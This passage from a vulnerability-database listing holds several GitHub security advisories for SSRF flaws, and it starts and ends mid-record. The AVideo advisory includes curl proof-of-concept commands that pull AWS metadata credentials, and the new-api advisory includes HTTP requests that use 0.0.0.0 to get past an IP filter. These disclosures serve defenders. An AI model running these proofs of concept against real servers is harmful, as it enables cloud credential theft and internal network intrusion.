(empty($_executeSchelude[$callBackURL])) {\n    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, \u0027\u0027, 30);\n```\n\n`isValidURL()` in `objects/functions.php` uses `filter_var($url, FILTER_VALIDATE_URL)` \u2014 it validates URL syntax only and does not block internal/private network targets.\n\n`isSSRFSafeURL()` in `objects/functions.php:4021` explicitly blocks:\n- `127.x.x.x` / `::1` (loopback)\n- `10.x.x.x`, `172.16-31.x.x`, `192.168.x.x` (RFC-1918 private)\n- `169.254.x.x` (link-local, including AWS/GCP metadata at `169.254.169.254`)\n- IPv6 private ranges\n\nThis function was added to the LiveLinks proxy (GHSA-9x67-f2v7-63rw fix, commit `0e5638292`) and was previously used in the aVideoEncoder download flow (GHSA-h39h-7cvg-q7j6), but the Scheduler plugin was not updated in either fix wave, leaving it as an incomplete patch.\n\nAn admin can configure the `callbackURL` for a scheduled task via the Scheduler plugin UI and trigger execution immediately via the \"Run now\" interface.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as admin\n\n# Step 2: Create a scheduled task with cloud metadata SSRF callback\ncurl -b \"admin_session=\u003csession\u003e\" -X POST \\\n  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/add.json.php \\\n  -d \"callbackURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026status=a\u0026type=\u0026date_to_execute=2026-03-18+12:00:00\"\n\n# Step 3: Trigger immediate execution via Scheduler run endpoint\ncurl -b \"admin_session=\u003csession\u003e\" \\\n  https://target.avideo.site/plugin/Scheduler/run.php\n\n# Step 4: Read the scheduler execution logs\ncurl -b \"admin_session=\u003csession\u003e\" \\\n  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/get.json.php\n# Response includes the AWS metadata API response with IAM role credentials\n```\n\n**Expected:** Internal network addresses rejected before HTTP request is made.\n**Actual:** The server makes an HTTP request to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` and the response (including AWS IAM role credentials) is stored in the scheduler execution log.\n\n## Impact\n\n- **Cloud credential theft:** On AWS, GCP, or Azure deployments, the attacker can retrieve IAM instance role credentials from the cloud metadata service (`169.254.169.254`), potentially enabling privilege escalation within the cloud environment.\n- **Internal service probing:** The attacker can make the server issue requests to internal APIs, microservices, or databases with HTTP interfaces not exposed to the internet.\n- **Incomplete patch amplification:** The fix for GHSA-9x67-f2v7-63rw and GHSA-h39h-7cvg-q7j6 added `isSSRFSafeURL()` to specific call sites but not the Scheduler. Deployments that updated expecting comprehensive SSRF protection remain vulnerable via this path.\n- **Blast radius:** Requires admin access. Impact is significant in cloud-hosted deployments where instance metadata credentials unlock broader infrastructure access.\n\n## Recommended Fix\n\nAdd `isSSRFSafeURL()` validation to the Scheduler callback URL before `url_get_contents()` is called, consistent with the existing SSRF fixes in `plugin/LiveLinks/proxy.php` and `objects/aVideoEncoder.json.php`:\n\n```php\n$callBackURL = $e-\u003egetCallbackURL();\nif (!isValidURL($callBackURL)) {\n    return false;\n}\n// Add this SSRF check \u2014 same pattern as LiveLinks proxy fix (GHSA-9x67-f2v7-63rw):\nif (!isSSRFSafeURL($callBackURL)) {\n    _error_log(\"Scheduler::run SSRF protection blocked callbackURL: \" . $callBackURL);\n    return false;\n}\nif (empty($_executeSchelude[$callBackURL])) {\n    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, \u0027\u0027, 30);\n```",
  "id": "GHSA-v467-g7g7-hhfh",
  "modified": "2026-04-13T17:40:20Z",
  "published": "2026-03-19T12:43:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-v467-g7g7-hhfh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33237"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/issues/10403"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/df926e500580c2a1e3c70351f0c30f4e15c0fd83"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has SSRF in Scheduler Plugin via callbackURL Missing `isSSRFSafeURL()` Validation"
}

GHSA-V48G-G9WJ-FFHR

Vulnerability from github – Published: 2026-07-23 21:31 – Updated: 2026-07-23 21:31
VLAI
Details

Victor SSRF vulnerability in Johnson Controls CCure 9000 and victor application server allows Server Side Request Forgery.

This issue affects CCure 9000 and victor application server: from 2.9 through 3.0.

Severity
7.2 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:L/VA:L/SC:H/SI:H/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-21653"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-23T21:17:03Z",
    "severity": "HIGH"
  },
  "details": "Victor SSRF vulnerability in Johnson Controls CCure 9000 and victor application server allows Server Side Request Forgery.\n\nThis issue affects CCure 9000 and victor application server: from 2.9 through 3.0.",
  "id": "GHSA-v48g-g9wj-ffhr",
  "modified": "2026-07-23T21:31:02Z",
  "published": "2026-07-23T21:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21653"
    },
    {
      "type": "WEB",
      "url": "https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:L/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-V4GR-CW6X-C3JW

Vulnerability from github – Published: 2022-01-25 00:00 – Updated: 2022-01-29 00:00
VLAI
Details

Dell EMC Data Protection Central versions 19.5 and prior contain a Server Side Request Forgery vulnerability in the DPC DNS client processing. A remote malicious user could potentially exploit this vulnerability, allowing port scanning of external hosts.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-36349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-24T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Dell EMC Data Protection Central versions 19.5 and prior contain a Server Side Request Forgery vulnerability in the DPC DNS client processing. A remote malicious user could potentially exploit this vulnerability, allowing port scanning of external hosts.",
  "id": "GHSA-v4gr-cw6x-c3jw",
  "modified": "2022-01-29T00:00:57Z",
  "published": "2022-01-25T00:00:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36349"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/000195103"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-V4HW-9W3F-HCGH

Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2024-11-07 03:30
VLAI
Details

An issue in Open-Source Technology Committee SRS real-time video server RS/4.0.268(Leo) and SRS/4.0.195(Leo) allows a remote attacker to execute arbitrary code via a crafted request.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-33250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T15:37:30Z",
    "severity": "HIGH"
  },
  "details": "An issue in Open-Source Technology Committee SRS real-time video server RS/4.0.268(Leo) and SRS/4.0.195(Leo) allows a remote attacker to execute arbitrary code via a crafted request.",
  "id": "GHSA-v4hw-9w3f-hcgh",
  "modified": "2024-11-07T03:30:31Z",
  "published": "2024-05-14T18:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33250"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hacker2004/cccccckkkkkk/blob/main/CVE-2024-33250.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V4MM-Q8FV-R2W5

Vulnerability from github – Published: 2024-04-09 09:31 – Updated: 2025-10-15 15:46
VLAI
Summary
WildFly Elytron: SSRF security issue
Details

A flaw was found inJwtValidator.resolvePublicKey in JBoss EAP, where the validator checks jku and sends a HTTP request. During this process, no whitelisting or other filtering behavior is performed on the destination URL address, which may result in a server-side request forgery (SSRF) vulnerability.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.wildfly.security:wildfly-elytron-realm-token"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.4.0.CR1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-1233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-09T18:53:09Z",
    "nvd_published_at": "2024-04-09T07:15:08Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in` JwtValidator.resolvePublicKey` in JBoss EAP, where the validator checks jku and sends a HTTP request. During this process, no whitelisting or other filtering behavior is performed on the destination URL address, which may result in a server-side request forgery (SSRF) vulnerability.",
  "id": "GHSA-v4mm-q8fv-r2w5",
  "modified": "2025-10-15T15:46:43Z",
  "published": "2024-04-09T09:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1233"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wildfly/wildfly/pull/17812/commits/0c02350bc0d84287bed46e7c32f90b36e50d3523"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wildfly/wildfly/commit/aa151a00d75d6dbc4a1bf1b68d58b9de3087bb62"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3559"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3560"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3561"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3563"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3580"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3581"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3583"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:9582"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:9583"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-1233"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2262849"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wildfly-security/wildfly-elytron"
    },
    {
      "type": "WEB",
      "url": "https://issues.redhat.com/browse/WFLY-19226"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WildFly Elytron: SSRF security issue"
}

GHSA-V4QH-6367-4CX2

Vulnerability from github – Published: 2020-02-04 22:38 – Updated: 2021-08-19 16:54
VLAI
Summary
Server-Side Request Forgery (SSRF) in Apache Olingo
Details

Apache Olingo versions 4.0.0 to 4.7.0 provide the AsyncRequestWrapperImpl class which reads a URL from the Location header, and then sends a GET or DELETE request to this URL. It may allow to implement a SSRF attack. If an attacker tricks a client to connect to a malicious server, the server can make the client call any URL including internal resources which are not directly accessible by the attacker.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.olingo:odata-client-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-1925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-02-04T22:35:18Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Apache Olingo versions 4.0.0 to 4.7.0 provide the AsyncRequestWrapperImpl class which reads a URL from the Location header, and then sends a GET or DELETE request to this URL. It may allow to implement a SSRF attack. If an attacker tricks a client to connect to a malicious server, the server can make the client call any URL including internal resources which are not directly accessible by the attacker.",
  "id": "GHSA-v4qh-6367-4cx2",
  "modified": "2021-08-19T16:54:36Z",
  "published": "2020-02-04T22:38:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1925"
    },
    {
      "type": "WEB",
      "url": "https://mail-archives.apache.org/mod_mbox/olingo-user/202001.mbox/%3CCAGSZ4d6HwpF2woOrZJg_d0SkHytXJaCtAWXa3ZtBn33WG0YFvw%40mail.gmail.com%3E"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery (SSRF) in Apache Olingo"
}

GHSA-V57F-FQVF-VC6V

Vulnerability from github – Published: 2025-02-03 15:32 – Updated: 2026-04-01 18:33
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in NotFound Traveler Layout Essential For Elementor. This issue affects Traveler Layout Essential For Elementor: from n/a through 1.0.8.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-22701"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-03T15:15:19Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in NotFound Traveler Layout Essential For Elementor. This issue affects Traveler Layout Essential For Elementor: from n/a through 1.0.8.",
  "id": "GHSA-v57f-fqvf-vc6v",
  "modified": "2026-04-01T18:33:31Z",
  "published": "2025-02-03T15:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22701"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/traveler-layout-essential-for-elementor/vulnerability/wordpress-traveler-layout-essential-for-elementor-plugin-1-0-8-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V5C3-6WVC-PC2Q

Vulnerability from github – Published: 2026-05-06 17:23 – Updated: 2026-05-13 13:38
VLAI
Summary
QuantumNous/new-api has an SSRF Filter Bypass via 0.0.0.0
Details

SSRF Filter Bypass via 0.0.0.0

Summary

The SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF.

Details

Root Cause

common/ssrf_protection.go — isPrivateIP() (lines 33–47) checks the following ranges:

  • 10.0.0.0/8
  • 172.16.0.0/12
  • 192.168.0.0/16
  • 127.0.0.0/8
  • 169.254.0.0/16
  • 224.0.0.0/4
  • 240.0.0.0/4

0.0.0.0/8 is not checked. On Linux, 0.0.0.0 resolves to the local machine, same as 127.0.0.1.

Default Fetch Settings

setting/system_setting/fetch_setting.go (lines 16–24) defaults:

  • EnableSSRFProtection: true
  • AllowPrivateIp: false
  • AllowedPorts: ["80", "443", "8080", "8443"]
  • ApplyIPFilterForDomain: true

So 0.0.0.0 on any of these four ports passes all checks.

Data Flow (primary chain — /v1/chat/completions)

User API token
→ /v1/chat/completions  (TokenAuth, no admin required)
→ messages[].content[].image_url.url = "http://0.0.0.0:8080/..."
→ dto/openai_request.go:111-117   createFileSource() recognises http(s):// as URL source
→ dto/openai_request.go:119-198   GetTokenCountMeta() collects image_url.url / file.file_data / video_url
→ service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true
→ service/file_service.go:135-143  loadFromURL() → DoDownloadRequest()
→ service/download.go:52-68       ValidateURLWithFetchSetting() → 0.0.0.0 NOT blocked → GetHttpClient().Get()
→ Server issues real TCP connection to 0.0.0.0

Note on stream requirement: common/init.go (lines 140–141) defaults GET_MEDIA_TOKEN=true but GET_MEDIA_TOKEN_NOT_STREAM=false, so stream: true is needed to trigger the fetch path.

Additional Affected Endpoints

The same ValidateURLWithFetchSetting() → DoDownloadRequest() sink is reachable from:

Endpoint User-controlled field Auth required
/v1/chat/completions image_url.url, file.file_data, video_url Regular user token
/v1/responses input_file.file_url, input_image.image_url Regular user token
/v1/messages source.url (type: "url") Regular user token
/api/user/setting webhook_url, bark_url, gotify_url Regular user (self)

Upgrade to Full-Read SSRF (conditional)

relay/channel/aws/adaptor.go (lines 41–61) — ConvertClaudeRequest():

  • If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content
  • When source.type == "url", it calls service.GetBase64Data() which invokes the same DoDownloadRequest() path
  • The fetched content is rewritten to type: "base64" and inlined into the model request
  • The model then describes/transcribes the content in its response

This means an attacker can read the actual content of internal resources (images, PDFs, text) through the model's output, not just detect open/closed ports.

Proof of Concept

Prerequisites: A regular user account with a valid API token. No admin privileges required.

Step 1 — Control group: 127.0.0.1 is blocked

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "gpt-4o-mini",
  "stream": true,
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "describe"},
        {
          "type": "image_url",
          "image_url": {
            "url": "http://127.0.0.1:8080/probe.png",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

private IP address not allowed: 127.0.0.1

Step 2 — Experiment group: 0.0.0.0 bypasses the filter

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "gpt-4o-mini",
  "stream": true,
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "describe"},
        {
          "type": "image_url",
          "image_url": {
            "url": "http://0.0.0.0:8080/probe.png",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

dial tcp 0.0.0.0:8080: connect: connection refused

The server attempted a real TCP connection — the SSRF filter was bypassed.

Step 3 — Confirm readback capability via multimodal model

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "claude-3-5-sonnet-latest",
  "stream": false,
  "max_tokens": 32,
  "messages": [
    {
      "role": "user",
      "content": [
        {
          "type": "text",
          "text": "Transcribe exactly the text in the image. Output only the text."
        },
        {
          "type": "image_url",
          "image_url": {
            "url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

{"choices":[{"message":{"content":"READBACK-OK-314159"}}]}

This confirms that when the fetch target returns readable content (image/PDF/text), the model's response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on 0.0.0.0:<allowed-port> returns image or document content, an attacker can exfiltrate it.

Impact

An authenticated regular user (no admin privileges) can:

  1. Probe localhost and internal services — Determine open/closed ports on the server by observing connection refused vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443.
  2. Exfiltrate internal content — When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text).
  3. Bypass all previous SSRF mitigations — This is a direct bypass of the isPrivateIP() check. No redirect chain, no DNS rebinding, no race condition required — just replacing 127.0.0.1 with 0.0.0.0.

Since user registration is often enabled by default, any registered user can exploit this.

Suggested Fix

  1. Add 0.0.0.0/8 to the deny list in isPrivateIP() (common/ssrf_protection.go)
  2. Audit against the full [IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/) — also ensure coverage for:
  3. 0.0.0.0/8 ("This network")
  4. 100.64.0.0/10 (Carrier-grade NAT)
  5. 198.18.0.0/15 (Benchmarking)
  6. IPv6 equivalents: ::1, ::, [::], fe80::/10
  7. Apply the same IP validation to post-redirect targets (already partially addressed in service/http_client.go:24-33, but does not help when the initial address itself bypasses the filter)

Resources

  • CVE-2025-59146 (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5
  • CVE-2025-62155 (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6
Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/QuantumNous/new-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.11.9-alpha.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T17:23:21Z",
    "nvd_published_at": "2026-05-08T23:16:36Z",
    "severity": "HIGH"
  },
  "details": "# SSRF Filter Bypass via `0.0.0.0` \n\n### Summary\n\nThe SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address `0.0.0.0`. A regular (non-admin) user holding any valid API token can send a multimodal request to `/v1/chat/completions`, `/v1/responses`, or `/v1/messages` with `0.0.0.0` as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a **blind SSRF**; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a **full-read SSRF**.\n\n### Details\n\n#### Root Cause\n\n`common/ssrf_protection.go` \u2014 `isPrivateIP()` (lines 33\u201347) checks the following ranges:\n\n- `10.0.0.0/8`\n- `172.16.0.0/12`\n- `192.168.0.0/16`\n- `127.0.0.0/8`\n- `169.254.0.0/16`\n- `224.0.0.0/4`\n- `240.0.0.0/4`\n\n**`0.0.0.0/8` is not checked.** On Linux, `0.0.0.0` resolves to the local machine, same as `127.0.0.1`.\n\n#### Default Fetch Settings\n\n`setting/system_setting/fetch_setting.go` (lines 16\u201324) defaults:\n\n- `EnableSSRFProtection: true`\n- `AllowPrivateIp: false`\n- `AllowedPorts: [\"80\", \"443\", \"8080\", \"8443\"]`\n- `ApplyIPFilterForDomain: true`\n\nSo `0.0.0.0` on any of these four ports passes all checks.\n\n#### Data Flow (primary chain \u2014 `/v1/chat/completions`)\n\n```\nUser API token\n\u2192 /v1/chat/completions  (TokenAuth, no admin required)\n\u2192 messages[].content[].image_url.url = \"http://0.0.0.0:8080/...\"\n\u2192 dto/openai_request.go:111-117   createFileSource() recognises http(s):// as URL source\n\u2192 dto/openai_request.go:119-198   GetTokenCountMeta() collects image_url.url / file.file_data / video_url\n\u2192 service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true\n\u2192 service/file_service.go:135-143  loadFromURL() \u2192 DoDownloadRequest()\n\u2192 service/download.go:52-68       ValidateURLWithFetchSetting() \u2192 0.0.0.0 NOT blocked \u2192 GetHttpClient().Get()\n\u2192 Server issues real TCP connection to 0.0.0.0\n```\n\n**Note on stream requirement:** `common/init.go` (lines 140\u2013141) defaults `GET_MEDIA_TOKEN=true` but `GET_MEDIA_TOKEN_NOT_STREAM=false`, so `stream: true` is needed to trigger the fetch path.\n\n#### Additional Affected Endpoints\n\nThe same `ValidateURLWithFetchSetting()` \u2192 `DoDownloadRequest()` sink is reachable from:\n\n| Endpoint | User-controlled field | Auth required |\n|---|---|---|\n| `/v1/chat/completions` | `image_url.url`, `file.file_data`, `video_url` | Regular user token |\n| `/v1/responses` | `input_file.file_url`, `input_image.image_url` | Regular user token |\n| `/v1/messages` | `source.url` (type: `\"url\"`) | Regular user token |\n| `/api/user/setting` | `webhook_url`, `bark_url`, `gotify_url` | Regular user (self) |\n\n#### Upgrade to Full-Read SSRF (conditional)\n\n`relay/channel/aws/adaptor.go` (lines 41\u201361) \u2014 `ConvertClaudeRequest()`:\n\n- If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content\n- When `source.type == \"url\"`, it calls `service.GetBase64Data()` which invokes the same `DoDownloadRequest()` path\n- The fetched content is rewritten to `type: \"base64\"` and inlined into the model request\n- The model then describes/transcribes the content in its response\n\nThis means an attacker can read the actual content of internal resources (images, PDFs, text) through the model\u0027s output, not just detect open/closed ports.\n\n### Proof of Concept\n\n**Prerequisites:** A regular user account with a valid API token. No admin privileges required.\n\n**Step 1 \u2014 Control group: `127.0.0.1` is blocked**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n  \"model\": \"gpt-4o-mini\",\n  \"stream\": true,\n  \"max_tokens\": 1,\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"text\", \"text\": \"describe\"},\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"http://127.0.0.1:8080/probe.png\",\n            \"detail\": \"low\"\n          }\n        }\n      ]\n    }\n  ]\n}\n```\n\nResponse:\n\n```\nprivate IP address not allowed: 127.0.0.1\n```\n\n**Step 2 \u2014 Experiment group: `0.0.0.0` bypasses the filter**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n  \"model\": \"gpt-4o-mini\",\n  \"stream\": true,\n  \"max_tokens\": 1,\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"text\", \"text\": \"describe\"},\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"http://0.0.0.0:8080/probe.png\",\n            \"detail\": \"low\"\n          }\n        }\n      ]\n    }\n  ]\n}\n```\n\nResponse:\n\n```\ndial tcp 0.0.0.0:8080: connect: connection refused\n```\n\nThe server attempted a real TCP connection \u2014 the SSRF filter was bypassed.\n\n**Step 3 \u2014 Confirm readback capability via multimodal model**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n  \"model\": \"claude-3-5-sonnet-latest\",\n  \"stream\": false,\n  \"max_tokens\": 32,\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\n          \"type\": \"text\",\n          \"text\": \"Transcribe exactly the text in the image. Output only the text.\"\n        },\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"https://dummyimage.com/600x180/111/fff.png\u0026text=READBACK-OK-314159\",\n            \"detail\": \"low\"\n          }\n        }\n      ]\n    }\n  ]\n}\n```\n\nResponse:\n\n```json\n{\"choices\":[{\"message\":{\"content\":\"READBACK-OK-314159\"}}]}\n```\n\nThis confirms that when the fetch target returns readable content (image/PDF/text), the model\u0027s response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on `0.0.0.0:\u003callowed-port\u003e` returns image or document content, an attacker can exfiltrate it.\n\n### Impact\n\nAn authenticated regular user (no admin privileges) can:\n\n1. **Probe localhost and internal services** \u2014 Determine open/closed ports on the server by observing `connection refused` vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443.\n2. **Exfiltrate internal content** \u2014 When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text).\n3. **Bypass all previous SSRF mitigations** \u2014 This is a direct bypass of the `isPrivateIP()` check. No redirect chain, no DNS rebinding, no race condition required \u2014 just replacing `127.0.0.1` with `0.0.0.0`.\n\nSince user registration is often enabled by default, any registered user can exploit this.\n\n### Suggested Fix\n\n1. Add `0.0.0.0/8` to the deny list in `isPrivateIP()` 